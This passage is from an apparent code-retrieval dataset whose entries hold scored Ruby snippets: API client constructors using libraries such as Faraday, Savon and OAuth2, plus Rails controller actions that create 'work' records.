}, { "docid": "d2ab9d54a3990be3d4b2c7370785dac5", "score": "0.61999655", "text": "def client\n @client ||= Faraday::Connection.new(url: web_data_services_url, headers: client_headers)\n end", "title": "" }, { "docid": "44d82d2a009aa6a4e2a2929cfc0f5bf8", "score": "0.61920077", "text": "def api\n if @client && !@client.expired?\n @client\n else \n @client = Soundcloud.new({\n :client_id => Rails.application.config.soundcloud_credentials[\"client_id\"],\n :client_secret => Rails.application.config.soundcloud_credentials[\"client_secret\"],\n :username => Rails.application.config.soundcloud_credentials[\"username\"],\n :password => Rails.application.config.soundcloud_credentials[\"password\"] \n })\n end\n end", "title": "" }, { "docid": "ed7369bdef59a78e94f67b3b2c7a5408", "score": "0.61888885", "text": "def client\n @client ||= Faraday.new(@api_endpoint) do |client|\n client.request :url_encoded\n client.adapter Faraday.default_adapter\n client.basic_auth(@api_username, @api_password)\n end\n end", "title": "" }, { "docid": "6b867226b0b1de1541f37a1e976d915c", "score": "0.6186234", "text": "def client\n return @api_client if @api_client.present?\n\n @api_client = send(:\"#{@auth_method}\")\n return @api_client if @api_client.present?\n\n # Record an error if no ApiClient or User was authenticated\n @errors[:client_authentication] = _('Invalid credentials')\n nil\n end", "title": "" }, { "docid": "76a6ff9d9e49ba7fb013210cc125cd51", "score": "0.618419", "text": "def get_clients (page = nil, max = nil, opts={})\n query_param_keys = [:page,:max]\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n :'page' => page,\n :'max' => max\n \n }.merge(opts)\n\n #resource path\n path = \"/get-clients.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:GET, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end", "title": "" }, { "docid": "5713e8453910ac45fb6caafbbb010cff", "score": "0.61766905", "text": "def rest_client(opts={})\n @rest_client ||= begin\n auth = RHC::Auth::Basic.new(options)\n auth = RHC::Auth::Token.new(options, auth, token_store) if (options.use_authorization_tokens || options.token) && !(options.rhlogin && options.password)\n debug \"Authenticating with #{auth.class}\"\n client_from_options(:auth => auth)\n end\n\n if opts[:min_api] && opts[:min_api].to_f > @rest_client.api_version_negotiated.to_f\n raise RHC::ServerAPINotSupportedException.new(opts[:min_api], @rest_client.api_version_negotiated)\n end\n\n @rest_client\n end", "title": "" }, { "docid": "cdfcef8e03d797677cb3ce8a90d94610", "score": "0.6172196", "text": "def client\n @client ||= create_client()\n end", "title": "" }, { "docid": "6c99184a692f7d35031cb642558a093b", "score": "0.61616015", "text": "def client(options)\n Service::Client.new(\n :username => options[:username],\n :password => options[:password],\n :url => options[:server],\n :user_agent => USER_AGENT\n )\n end", "title": "" }, { "docid": "9fa64010a9b32a158fafe6048cfd099a", "score": "0.6159685", "text": "def get_client(klazz = MatelsoWsdlClient::Client)\n klazz.new({\"partner\" => {\n \"id\" => ENV[\"pid\"] || 12, \n \"password\" => ENV[\"ppword\"] || 12, \n \"account\" => ENV[\"paccount\"] || 3\n }})\n end", "title": "" }, { "docid": "871f36d10c668d1666d957ea05c239fd", "score": "0.61526877", "text": "def get_client\n return Vault::Client.new(\n address: evie['vault']['host'],\n token: ENV[\"VAULT_TOKEN\"],\n ssl_verify: false,\n timeout: 10)\n end", "title": "" }, { "docid": "8a32047df0c0abac2a23226496943be9", "score": "0.61519367", "text": "def client\n @client ||= Bitly::V3::Client.new(login, api_key)\n end", "title": "" }, { "docid": "8a32047df0c0abac2a23226496943be9", "score": "0.61519367", "text": "def client\n @client ||= Bitly::V3::Client.new(login, api_key)\n end", "title": "" }, { "docid": "2b8f07fafc6cb6fec8c64cb466008c4d", "score": "0.61398154", "text": "def get_client()\n apiUrl = \"#{APP_CONFIG['api_base']}\"\n uri = URI.parse(apiUrl)\n apiUrl = \"#{uri.scheme}://#{uri.host}:#{uri.port}\"\n return OAuth2::Client.new(APP_CONFIG['client_id'], APP_CONFIG['client_secret'], {:site => apiUrl, :token_url => '/api/oauth/token', :authorize_url => '/api/oauth/authorize'})\n end", "title": "" }, { "docid": "a15716829cf48abc746508578ef4de5c", "score": "0.6121692", "text": "def get_safe_services()\n exec_get(\"#{@base_path}/api/v2/customers/services/safe.json?api_key=#{@api_key}\")\n end", "title": "" }, { "docid": "99af5428d060a79e88f59af3ed1cc8ea", "score": "0.6121629", "text": "def get_client\n @client ||= Octokit::Client.new(:access_token => access_token) \n end", "title": "" }, { "docid": "d41944964810a26526d1287dba189fa8", "score": "0.6120968", "text": "def service\n @service ||= Carto::UserService.new(self)\n end", "title": "" }, { "docid": "d41944964810a26526d1287dba189fa8", "score": "0.6120968", "text": "def service\n @service ||= Carto::UserService.new(self)\n end", "title": "" }, { "docid": "35b550d4fe13cd05bc5945ddee7eb104", "score": "0.61183155", "text": "def service\n fetcher.get(Service, service_id)\n end", "title": "" }, { "docid": "8a60072edf0356c00677b20c8d994bcc", "score": "0.6116067", "text": "def client\n @client ||= ::HTTPClient.new\n end", "title": "" }, { "docid": "d017c7093354430097f3466a455993fa", "score": "0.6116022", "text": "def client\n return @client if instance_variable_defined?(:@client) && @client.hash == options.hash\n @client = DeskApi::Client.new(options)\n end", "title": "" }, { "docid": "5d068980b59e782d11c2b6345621f4ca", "score": "0.6111902", "text": "def client\n Client.instance\n end", "title": "" }, { "docid": "b1e220887702c387d24a0d90974a760f", "score": "0.6109752", "text": "def client\n # Tack on the destination header if we're sending all requests\n # to a forward proxy.\n headers = {}\n headers[\"Host\"] = domain if @forward_proxy_url\n\n namespaces = {\n \"xmlns:v1\" => \"http://types.ws.css.vba.va.gov/services/v1\",\n }\n\n savon_client_params = {\n wsdl: wsdl,\n soap_header: header,\n log: @log,\n namespaces: namespaces,\n ssl_cert_key_file: @ssl_cert_key_file,\n headers: headers,\n ssl_cert_file: @ssl_cert_file,\n ssl_ca_cert_file: @ssl_ca_cert,\n open_timeout: 10, # in seconds\n read_timeout: 600, # in seconds\n convert_request_keys_to: :none\n }\n savon_client_params[:namespace_identifier] = namespace_identifier if namespace_identifier\n savon_client_params[:endpoint] = endpoint if endpoint\n savon_client_params[:logger] = @logger if @logger\n\n @client ||= Savon.client(savon_client_params)\n end", "title": "" }, { "docid": "df02123703a474b727e62696102c4e3d", "score": "0.6105593", "text": "def clients_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ClientsApi.clients_get ...\"\n end\n # resource path\n local_var_path = \"/api/Clients\"\n\n # query parameters\n query_params = {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ClientListItemPage')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ClientsApi#clients_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "4f4fb2c33d76b48c5f8ae1efec739688", "score": "0.6103022", "text": "def http_client\n Faraday.new(url: API_URL, request: { timeout: 5, open_timeout: 5 }) do |conn|\n conn.request :oauth2, token, token_type: :bearer\n conn.response :json\n\n conn.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "2c15c145572f572d1bb54df84d4bdade", "score": "0.61023986", "text": "def client\n @client ||= RestClient::Request\n end", "title": "" }, { "docid": "9f5251d825c1128af8f9cd14b5b2663a", "score": "0.60960925", "text": "def get_resource(resource)\n request = request(\"/#{resource}\", :get)\n if request.body\n return JSON.parse(request.body)\n else\n @errors << \"Error getting clients\"\n return nil\n end\n end", "title": "" }, { "docid": "a10ad4d465795fd2ed89316520ff2bfb", "score": "0.6096061", "text": "def get_client\n client = TestRail::APIClient.new(@url)\n client.user = @user\n client.password = @token\n return client\n end", "title": "" }, { "docid": "77c2bc4aa1a6740ece959220eac73367", "score": "0.6086978", "text": "def get_client(mac)\n AuthClient.get(mac)\n end", "title": "" }, { "docid": "0cd4a04e9b5cf334f0cfd84793042cf4", "score": "0.60752046", "text": "def client\n @client ||= create_client\n end", "title": "" }, { "docid": "0aa15cb007afa3003e3f8890b8a3da31", "score": "0.607042", "text": "def get_client(details)\n Aws::CloudFormation::Client.new(get_config(details))\n end", "title": "" }, { "docid": "0aa15cb007afa3003e3f8890b8a3da31", "score": "0.607042", "text": "def get_client(details)\n Aws::CloudFormation::Client.new(get_config(details))\n end", "title": "" }, { "docid": "c68d7b50d8b6a140d5d63ff3fee93162", "score": "0.60702014", "text": "def rest_client c\n ap({:rest_client => c}) if $DEBUG\n raise ArgumentError, \"#rest_client requires :url\" if c[:url].nil?\n RestClient::Resource.new(c[:url],\n :user => c[:user],\n :password => c[:password],\n :headers => c[:headers],\n :timeout => (c[:timeout] || 300).to_i,\n :open_timeout => (c[:open_timeout] || 60).to_i)\n end", "title": "" }, { "docid": "69ffd34d7f5e830dd48165f7827dc315", "score": "0.60700977", "text": "def get_http_client\n RestClient.proxy = @proxy.to_s if @proxy\n RestClient\n RestClient::Request\n end", "title": "" }, { "docid": "a22cec2af7e8b7f7803aa9fe517f4104", "score": "0.60630727", "text": "def request\n RestClient::Resource.new(\n \"#{config.base_url}/#{plural}\",\n user: config.app_name,\n password: config.api_key\n )\n end", "title": "" }, { "docid": "f87ae3614f6a334c95dc0a428f8bdede", "score": "0.6059898", "text": "def client\n Savon.client(\n ssl_verify_mode: :none,\n wsdl: wsdl_url,\n log_level: :info,\n pretty_print_xml: true,\n read_timeout: 200,\n log: false\n )\n end", "title": "" }, { "docid": "f87ae3614f6a334c95dc0a428f8bdede", "score": "0.6059898", "text": "def client\n Savon.client(\n ssl_verify_mode: :none,\n wsdl: wsdl_url,\n log_level: :info,\n pretty_print_xml: true,\n read_timeout: 200,\n log: false\n )\n end", "title": "" }, { "docid": "1da00abe079f04cddd91434649e861cf", "score": "0.6053761", "text": "def client\n return @api_client if @api_client.present?\n\n token = decoded_auth_token\n # If the token is missing or invalid then set the client to nil\n errors[:token] = _('Invalid token') if token.blank?\n @api_client = nil unless token.present? && token[:client_id].present?\n return @api_client unless token.present? && token[:client_id].present?\n\n @api_client = ApiClient.where(client_id: token[:client_id]).first\n return @api_client if @api_client.present?\n\n @api_client = User.where(email: token[:client_id]).first\n end", "title": "" }, { "docid": "1571a9aa3aae018df8148cc9c1d5ce1b", "score": "0.6053537", "text": "def client\n @client = Echowrap::Client.new(options) unless defined?(@client) && @client.hash == options.hash\n @client\n end", "title": "" }, { "docid": "d854bd7d47d5e53c80ff2668e1a33da6", "score": "0.6052575", "text": "def client\n @client ||= Savon.client(\n wsdl: BridgePay.wsdl_path,\n log: true,\n logger: BridgePay.logger\n )\n end", "title": "" }, { "docid": "72b9fc211acb27d349af5cefde50de20", "score": "0.60495687", "text": "def client\n Faraday.new(url: Wanikani::API_ENDPOINT) do |conn|\n conn.response :json, :content_type => /\\bjson$/\n conn.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "31973713b0d83bb407564af1e327f2a4", "score": "0.60441995", "text": "def client\n client = OAuth2::Client.new ::ConfigManager['socrata_auth_token'],\n ::ConfigManager['socrata_secret_token'],\n :site => ::ConfigManager['socrata_powered_site']\n\n # in order to ease access to SODA (which primarily uses JSON), we use a faraday\n # middleware adapter that smooths over some of the oauth2 gem's quirks. see that\n # class for details.\n client.connection.build do |builder|\n builder.use SocrataRequestSerializerMiddleware\n builder.adapter Faraday.default_adapter\n end\n\n return client\n end", "title": "" }, { "docid": "1a09b87158c93a5b54527aa1de8295c6", "score": "0.60343796", "text": "def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :q => (x = opts.delete(:q); x.nil? ? nil : HttpClient::Preconditions.assert_class('q', x, String))\n }.delete_if { |k, v| v.nil? }\n r = @client.request(\"/reference/carrier/services\").with_query(query).get\n r.map { |x| ::Io::Flow::V0::Models::CarrierService.new(x) }\n end", "title": "" }, { "docid": "1dcf7966696b2452178efc77a2717b5b", "score": "0.60324466", "text": "def client\n @client ||= self.class.base_client\n end", "title": "" }, { "docid": "f05b66f4ac6518d2956c9053fcb8b7b9", "score": "0.60296154", "text": "def rest_client\n @rest_client ||= MagentoIntegration::Services::Rest.new(@config)\n end", "title": "" }, { "docid": "3c537215a03bb61cc6b50cec84bef36a", "score": "0.60276484", "text": "def getHttpService; @service; end", "title": "" }, { "docid": "be3c46c1b0055622af5be2479d0c2ed0", "score": "0.6023431", "text": "def api\n @api ||= MyDelicious::Client.new username, password\n end", "title": "" }, { "docid": "6c329a0fea6fe285c80840e0d825cb3d", "score": "0.6020217", "text": "def get_client\n api_url, username, password, token = get_config\n client = Zabbix::Client.new(api_url)\n\n if token\n STDERR.puts \"Connecting with auth token\"\n client.auth = token\n else\n STDERR.puts \"Connecting with username/password\"\n client.user.login(user: username, password: password)\n end\n\n STDERR.puts \"API version: #{client.apiinfo.version}. Connected with token: #{client.auth}\"\n client\nend", "title": "" }, { "docid": "14a11b07a737406bfd6dd750ea7b24b5", "score": "0.6019439", "text": "def get_resource\n login = [default_server[:user].to_s , default_server[:password].to_s]\n server_adress = \"#{default_server[:protocol]}://#{default_server[:server]}:#{default_server[:port]}\"\n RestClient::Resource.new(server_adress, *login)\n end", "title": "" }, { "docid": "7a2ecbb5b89758ef1cb1b70f91ed9f9b", "score": "0.6018155", "text": "def client!\n @client = Savon::Client.new do\n wsdl.document = WSDL\n end\n @client.http.headers[\"Cookie\"] = cookie\n return @client\n end", "title": "" }, { "docid": "9ebacb4905b24c19c179418bc4f60d67", "score": "0.6012514", "text": "def client\n @client ||= new_client\n end", "title": "" }, { "docid": "545ef1102d757386b07255de71a11b17", "score": "0.6012333", "text": "def client\n @client ||= client_class.new\n end", "title": "" }, { "docid": "bc0acb468f60b1ad087186b96de4538f", "score": "0.60122633", "text": "def get_client_by_id(id)\n request 'clients.getClient', id\n end", "title": "" }, { "docid": "82d2fef0048ac8f29ad3248c500638e7", "score": "0.60081595", "text": "def client\n params = {\n access_token: access_token,\n space: space_id,\n dynamic_entries: :auto,\n raise_errors: true\n }\n params[:api_url] = 'preview.contentful.com' if preview?\n @client ||= Contentful::Client.new(params)\n end", "title": "" }, { "docid": "d1e26304206eef3d703962ff04a42cc9", "score": "0.6006969", "text": "def client\n @client\n end", "title": "" }, { "docid": "d1e26304206eef3d703962ff04a42cc9", "score": "0.6006969", "text": "def client\n @client\n end", "title": "" }, { "docid": "d1e26304206eef3d703962ff04a42cc9", "score": "0.6006969", "text": "def client\n @client\n end", "title": "" }, { "docid": "d1e26304206eef3d703962ff04a42cc9", "score": "0.6006969", "text": "def client\n @client\n end", "title": "" }, { "docid": "d1e26304206eef3d703962ff04a42cc9", "score": "0.6006969", "text": "def client\n @client\n end", "title": "" } ]
65889d0e02cfbd77a486b9d35cd206a9
POST /development_works POST /development_works.json
[ { "docid": "46211d204f09e49481933084ca1dc5c2", "score": "0.76286924", "text": "def create\n @development_work = DevelopmentWork.new(development_work_params)\n\n respond_to do |format|\n if @development_work.save\n format.html { redirect_to @development_work, notice: 'Development work was successfully created.' }\n format.json { render :show, status: :created, location: @development_work }\n else\n format.html { render :new }\n format.json { render json: @development_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "b7e236cfcb7ec5dfdbf393ac5e355519", "score": "0.6593391", "text": "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b7e236cfcb7ec5dfdbf393ac5e355519", "score": "0.6593391", "text": "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e166d664c4d462bab13deb84924247ba", "score": "0.6579598", "text": "def create\n @work = Work.new(work_params)\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render :show, status: :created, location: @work }\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e166d664c4d462bab13deb84924247ba", "score": "0.6579598", "text": "def create\n @work = Work.new(work_params)\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render :show, status: :created, location: @work }\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b077f036033bf662164d41c33ab92bdc", "score": "0.65550184", "text": "def create\n @work = Work.new(params[:work].except(:extra_keys, :extra_values))\n @work.extra = process_extra if params[:extra_keys]\n \n current_dataset.works << @work\n \n Work.create_locations(@work) if @work.places\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "721e433386130b6bcd945b2695d2929d", "score": "0.6525289", "text": "def create\n @creator.works << Work.where(id: work_ids)\n if @creator.save\n render json: @creator, status: :created, location: @creator\n else\n render json: @creator.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "19ba4194108d41232f67189c6153aafd", "score": "0.65161777", "text": "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to action: 'index', flash: {notice: 'Work item was successfully created.' }}\n format.json { render json: @work, status: :created, location: @work }\n else\n format.html { render action: \"new\" }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63263178da000fa5506c0386a89b55d0", "score": "0.6515954", "text": "def create\n @work = Work.new(work_params)\n process_work_contributors\n respond_to do |format|\n if @work.save\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\n format.json { render text: \"success\"}\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cfa99aec9193807634331e69c3f39560", "score": "0.64911985", "text": "def create\n if request.xhr?\n @work = current_user.works.build(work_params)\n #@work = Work.new(work_params)\n if @work.save\n puts @work.status\n render :json => {:id => @work.id}\n else\n render :json => {:id => 0}\n end\n else\n render :json => {:id => 0}\n end\n end", "title": "" }, { "docid": "f127d217d66175d29b3254f8aeb0c69c", "score": "0.64814085", "text": "def create\r\n @work = Work.new(work_params)\r\n\r\n respond_to do |format|\r\n if @work.save\r\n format.html { redirect_to @work, notice: 'Work was successfully created.' }\r\n format.json { render action: 'index', status: :created, location: @work }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "1046c110b76df25eac43049351e46b7f", "score": "0.64272195", "text": "def create\r\n @stages_work = StagesWork.new(params[:stages_work])\r\n\r\n respond_to do |format|\r\n if @stages_work.save\r\n format.html { redirect_to @stages_work, notice: 'Stages work was successfully created.' }\r\n format.json { render json: @stages_work, status: :created, location: @stages_work }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @stages_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "b0aec7fdbfecdc66f1900b9d53430d13", "score": "0.64263994", "text": "def get_work_json\n client.make_request('/get-work-json', 'post', params: {})\n end", "title": "" }, { "docid": "5862b908babf0c2836fc883ba0b2b236", "score": "0.6284492", "text": "def create\n\t\t@work = Work.new(params[:work])\n\n\t\trespond_to do |format|\n\t\t\tif @work.save\n\t\t\t\tformat.html { redirect_to @work, notice: 'Work was successfully created.' }\n\t\t\t\tformat.json { render json: @work, status: :created, location: @work }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @work.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "63234d7235cb18d392dbda16fe88d4f5", "score": "0.6282343", "text": "def create\n @work = Work.new(params[:work])\n\n respond_to do |format|\n if @work.save\n flash[:notice] = t('controller.successfully_created', :model => t('activerecord.models.work'))\n if @patron\n @patron.works << @work\n end\n format.html { redirect_to @work }\n format.json { render :json => @work, :status => :created, :location => @work }\n else\n prepare_options\n format.html { render :action => \"new\" }\n format.json { render :json => @work.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8bc7c945ec7321f2865ed52f954a27bb", "score": "0.6205761", "text": "def create\n @my_posted_homework = MyPostedHomework.new(params[:my_posted_homework])\n\n respond_to do |format|\n if @my_posted_homework.save\n format.html { redirect_to @my_posted_homework, notice: 'My posted homework was successfully created.' }\n format.json { render json: @my_posted_homework, status: :created, location: @my_posted_homework }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_posted_homework.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bb2f3901c22c827abaca09c3f781a86f", "score": "0.61801857", "text": "def create\r\n @scientific_work=ScientificWork.find(params[:scientific_work_id])\r\n @second_work = @scientific_work.second_works.new(params[:second_work])\r\n\r\n respond_to do |format|\r\n if @second_work.save\r\n format.html { redirect_to @second_work, notice: 'Second work was successfully created.' }\r\n format.json { render json: @second_work, status: :created, location: @second_work }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @second_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "be596cd82f7657d0fa1f844691066fb4", "score": "0.61782265", "text": "def create\n @work = Work.new(work_params)\n \n respond_to do |format|\n if @work.save\n format.html { redirect_to works_path, notice: 'Work item was successfully created!'}\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "1036092f6532629e356c418c2c987070", "score": "0.61705834", "text": "def set_development_work\n @development_work = DevelopmentWork.find(params[:id])\n end", "title": "" }, { "docid": "207dabf2ebe89596203bf35acf67d2f0", "score": "0.6142056", "text": "def index\n @works = Work.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @works }\n end\n end", "title": "" }, { "docid": "207dabf2ebe89596203bf35acf67d2f0", "score": "0.6142056", "text": "def index\n @works = Work.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @works }\n end\n end", "title": "" }, { "docid": "4941f08334fc8cff2c27143a2d673488", "score": "0.611928", "text": "def create\n @working_change = WorkingChange.new(working_change_params)\n\n respond_to do |format|\n if @working_change.save\n format.html { redirect_to @working_change, notice: 'Working change was successfully created.' }\n format.json { render action: 'show', status: :created, location: @working_change }\n else\n format.html { render action: 'new' }\n format.json { render json: @working_change.debugs, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c1c0cf869e4e3404f858b962b17b5a75", "score": "0.6113722", "text": "def create\n @development = Development.new(params[:development])\n @development.developer = current_user\n respond_to do |format|\n if @development.save\n format.html { redirect_to @development, notice: 'Development was successfully created.' }\n format.json { render json: @development, status: :created, location: @development }\n else\n format.html { render action: \"new\" }\n format.json { render json: @development.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9f2eb5aabfdb358f93c02ad2b95b7ab3", "score": "0.6109342", "text": "def start\n @work = @user.works.new(start: Time.now, user_id: current_user.id)\n\n respond_to do |format|\n if @work.save\n format.html { redirect_to root_path, notice: 'Work was successfully created.' }\n format.json { render :show, status: :created, location: @work }\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end \n end", "title": "" }, { "docid": "72026a88da8b96064995eb26d3ab33d0", "score": "0.60978407", "text": "def work_params\n params.require(:work).permit(:title, :subtitle, :body, technologies_attributes: [:name])\n end", "title": "" }, { "docid": "2a9db31991887143b58ff686396d6b9b", "score": "0.6090843", "text": "def create\n @work = Work.new(work_params\n )\n if save_and_flash(@work)\n redirect_to works_path\n else\n render :new, status: :bad_request\n end\n end", "title": "" }, { "docid": "0cd331eab0689c26cd0362e7e6a49bb5", "score": "0.6085628", "text": "def create\n\n @work = Work.new(work_params)\n @user = User.find(session[:user_id]) \n \n respond_to do |format|\n if @work.save\n @user.works << @work\n format.html { redirect_to @work, notice: 'La actividad se registro con exito.' }\n format.json { render :show, status: :created, location: @work }\n else\n format.html { render :new }\n format.json { render json: @work.errors, status: :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "d849829a11c7b14d8fad20568beb9382", "score": "0.6082462", "text": "def new\n 1.times { @work.work_documents.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @work }\n end\n end", "title": "" }, { "docid": "d70e5be288e54d14f44fa8a76c6d6a99", "score": "0.60784805", "text": "def create\n @welcom_development = WelcomDevelopment.new(params[:welcom_development])\n\n respond_to do |format|\n if @welcom_development.save\n format.html { redirect_to @welcom_development, notice: 'Welcom development was successfully created.' }\n format.json { render json: @welcom_development, status: :created, location: @welcom_development }\n else\n format.html { render action: \"new\" }\n format.json { render json: @welcom_development.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "455c7d57e942f387d0632aec33a9de96", "score": "0.6073529", "text": "def create\n @training_workshop = TrainingWorkshop.new(training_workshop_params)\n\n respond_to do |format|\n if @training_workshop.save\n format.html { redirect_to @training_workshop, notice: 'Training workshop was successfully created.' }\n format.json { render :show, status: :created, location: @training_workshop }\n else\n format.html { render :new }\n format.json { render json: @training_workshop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be2a25f5baa8f8128def3ff8659f87a1", "score": "0.6061563", "text": "def update\n respond_to do |format|\n if @development_work.update(development_work_params)\n format.html { redirect_to development_works_path(page: prev_page), notice: 'Development work was successfully updated.' }\n format.json { render :show, status: :ok, location: @development_work }\n else\n format.html { render :edit }\n format.json { render json: @development_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f87d532b60180114ab8a625669100ec", "score": "0.6060619", "text": "def create\r\n @scientific_work = ScientificWork.new(params[:scientific_work])\r\n respond_to do |format|\r\n if @scientific_work.save\r\n format.html { redirect_to @scientific_work, notice: 'Scientific work was successfully created.' }\r\n format.json { render json: @scientific_work, status: :created, location: @scientific_work }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @scientific_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "ace8358c87f8031170567048a0139b22", "score": "0.60483193", "text": "def create\n @howitwork = Howitwork.new(howitwork_params)\n\n respond_to do |format|\n if @howitwork.save\n format.html { redirect_to admin_howitwork_url(@howitwork), notice: 'Howitwork was successfully created.' }\n format.json { render :show, status: :created, location: @howitwork }\n else\n format.html { render :new }\n format.json { render json: @howitwork.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "25c530b391798e03a0f818cbb1e158f7", "score": "0.60185957", "text": "def create\n @work_plan = WorkPlan.find(params[:work_plan_id])\n @work_step = WorkStep.new(work_step_params)\n @work_step.work_plan=@work_plan\n\n respond_to do |format|\n if @work_step.save\n format.html { redirect_to @work_plan, notice: 'Work step was successfully created.' }\n format.json { render :show, status: :created, location: @work_plan }\n else\n format.html { render :new }\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be15dde8f83aa7f43a23ba69382b5dbc", "score": "0.60040236", "text": "def create\n @work_and_thema = WorkAndThema.new(work_and_thema_params)\n\n respond_to do |format|\n if @work_and_thema.save\n format.html { redirect_to @work_and_thema, notice: 'Work and thema was successfully created.' }\n format.json { render action: 'show', status: :created, location: @work_and_thema }\n else\n format.html { render action: 'new' }\n format.json { render json: @work_and_thema.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2e7e8e4cb47aad9d6e846e84ce3f3c8", "score": "0.5993698", "text": "def create\n @scientific_work = ScientificWork.new(scientific_work_params)\n\n respond_to do |format|\n if @scientific_work.save\n format.html { redirect_to @scientific_work, notice: 'Scientific work was successfully created.' }\n format.json { render :show, status: :created, location: @scientific_work }\n else\n format.html { render :new }\n format.json { render json: @scientific_work.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f3b8ec95014e15bf36942546d6b12f9", "score": "0.5992367", "text": "def create\n @work.user_id = current_user.id\n\n respond_to do |format|\n if @work.save\n \n if current_user.roles[0].name != \"Administrador\"\n WorkMailer.new_work_alert(@work).deliver\n end\n \n format.html { redirect_to @work, :notice => 'Obra criada com sucesso!' }\n format.json { render :json => @work, :status => :created, :location => @work }\n else\n 1.times { @work.work_documents.build }\n load_cities_validate()\n format.html { render :action => \"new\" }\n format.json { render :json => @work.errors, :status => 